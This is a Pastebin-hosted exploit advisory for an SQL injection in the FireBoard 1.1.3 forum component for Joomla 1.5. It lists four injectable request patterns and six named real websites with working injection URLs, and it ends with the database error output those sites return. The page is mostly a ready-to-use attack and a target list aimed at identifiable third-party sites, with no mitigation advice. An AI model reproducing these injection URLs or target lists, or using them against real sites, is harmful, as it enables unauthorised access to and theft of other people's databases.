API tools faq
paste
KingSkrupellos

Joomla 1.5.26 Com_FireBoard Components 1.1.3 SQL Injection

KingSkrupellos
Aug 23rd, 2019
99
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.56 KB | None | 0 0
raw download clone embed print report
  1. ###################################################################
  2.  
  3. # Exploit Title : Joomla 1.5.26 Com_FireBoard Components 1.1.3 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 24/08/2019
  7. # Vendor Homepage : fireboard.bestofjoomla.com
  8. # Software Information Link : infosolutionsgoa.com/cms/fireboard-forum-joomla.html
  9. # Software Download Link : artio.net/downloads/joomla/joomsef/joomsef-2-x-extensions-free
  10. # Software Affected Version : Com_FireBoard 1.1.3
  11. # Joomla Affected Version : Joomla 1.5.0 - 1.5.1 - 1.5.8 - 1.5.18 - 1.5.26
  12. # Tested On : Windows and Linux
  13. # Category : WebApps
  14. # Exploit Risk : Medium
  15. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  16. Special Elements used in an SQL Command ('SQL Injection') ]
  17. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  18. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  19. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  20.  
  21. ###################################################################
  22.  
  23. # Impact :
  24. ***********
  25. Joomla 1.5.26 Com_FireBoard Components 1.1.3 is prone to an SQL-injection vulnerability
  26. because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  27. Exploiting this issue could allow an attacker to compromise the application, access or
  28. modify data, or exploit latent vulnerabilities in the underlying database.
  29. A remote attacker can send a specially crafted request to the vulnerable application and
  30. execute arbitrary SQL commands in application`s database. Further exploitation of this
  31. vulnerability may result in unauthorized data manipulation.
  32. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  33.  
  34. ###################################################################
  35.  
  36. # SQL Injection Exploit :
  37. **********************
  38. /index.php?option=com_fireboard&Itemid=[ID-NUMBER]&id=[ID-NUMBER]&catid=[SQL Injection]&func=fb_pdf
  39.  
  40. /index.php?option=com_fireboard&Itemid=[ID-NUMBER]&func=view&id=[ID-NUMBER]&catid=[SQL Injection]&fontstyle=f-larger&lang=ru
  41.  
  42. /index.php?option=com_fireboard&func=userlist&orderby=username&direction=ASC<=zh&lang=zh&limitstart=[ID-NUMBER]&Itemid=[SQL Injection]
  43.  
  44. /index.php?option=com_fireboard&amp;Itemid=[ID-NUMBER]&amp;func=showcat&amp;id=[ID-NUMBER]&amp;view=threadedview&amp;catid=[SQL Injection]
  45.  
  46. ###################################################################
  47.  
  48. # Example Vulnerable Sites :
  49. *************************
  50. [+] pionieredellanautica.it/index.php?option=com_fireboard&Itemid=22&id=39&catid=1%27&func=fb_pdf
  51.  
  52. [+] panghud.ac.th/panghud/index.php?option=com_fireboard&Itemid=0&id=17&catid=9&func=fb_pdf
  53.  
  54. [+] turani.ro/index.php?option=com_fireboard&func=userlist&orderby=username&direction=ASC%E2%8C%A9=zh&lang=zh&limitstart=210&Itemid=1%27
  55.  
  56. [+] efurmedia.com/index.php?option=com_fireboard&func=userlist&orderby=username&direction=ASC%E2%8C%A9=zh&lang=zh&limitstart=210&Itemid=1%27
  57.  
  58. [+] compling.tj/index.php?option=com_fireboard&amp;Itemid=2&amp;func=view&amp;id=1&amp;catid=2&amp;fontstyle=f-larger&amp;lang=ru
  59.  
  60. [+] bpao.go.th/bpaoweb/index.php?option=com_fireboard&amp;Itemid=8&amp;func=showcat&amp;id=0&amp;view=threadedview&amp;catid=1%27
  61.  
  62. ###################################################################
  63.  
  64. # Example SQL Database Error :
  65. ****************************
  66. Fatal error: Unable to load categorie detail.\nDB function failed with error number 1064
  67. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
  68. for the right syntax to use near '' at line 1 SQL=SELECT id,pub_access,pub_recurse,admin_access,
  69. SQL =SELECT id,pub_access,pub_recurse,admin_access,admin_recurse FROM jos_
  70. fb_categories where id=admin_recurse FROM jos_fb_categories where id=
  71. 500 - No valid database connection:You have an error in your SQL syntax; check the manual that corresponds
  72. to your MySQL server version for the right syntax to use near 'ASCâ?Š=zh, id ASCâ?Š=zh LIMIT 210, 30'
  73. at line 4 SQL=SELECT u.id, u.name, u.username , u.usertype , u.email , u.registerDate, u.lastvisitDate ,
  74. fu.showOnline, fu.group_id, fu.posts ,fu.karma , fu.uhits , g.title FROM jos_users AS u INNER JOIN
  75. jos_fb_users AS fu ON fu.userid = u.id INNER JOIN jos_fb_groups AS g ON g.id = fu.group_id
  76. ORDER BY username ASCâ?Š=zh, id ASCâ?Š=zh LIMIT 210, 30
  77.  
  78. ###################################################################
  79.  
  80. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  81.  
  82. ###################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!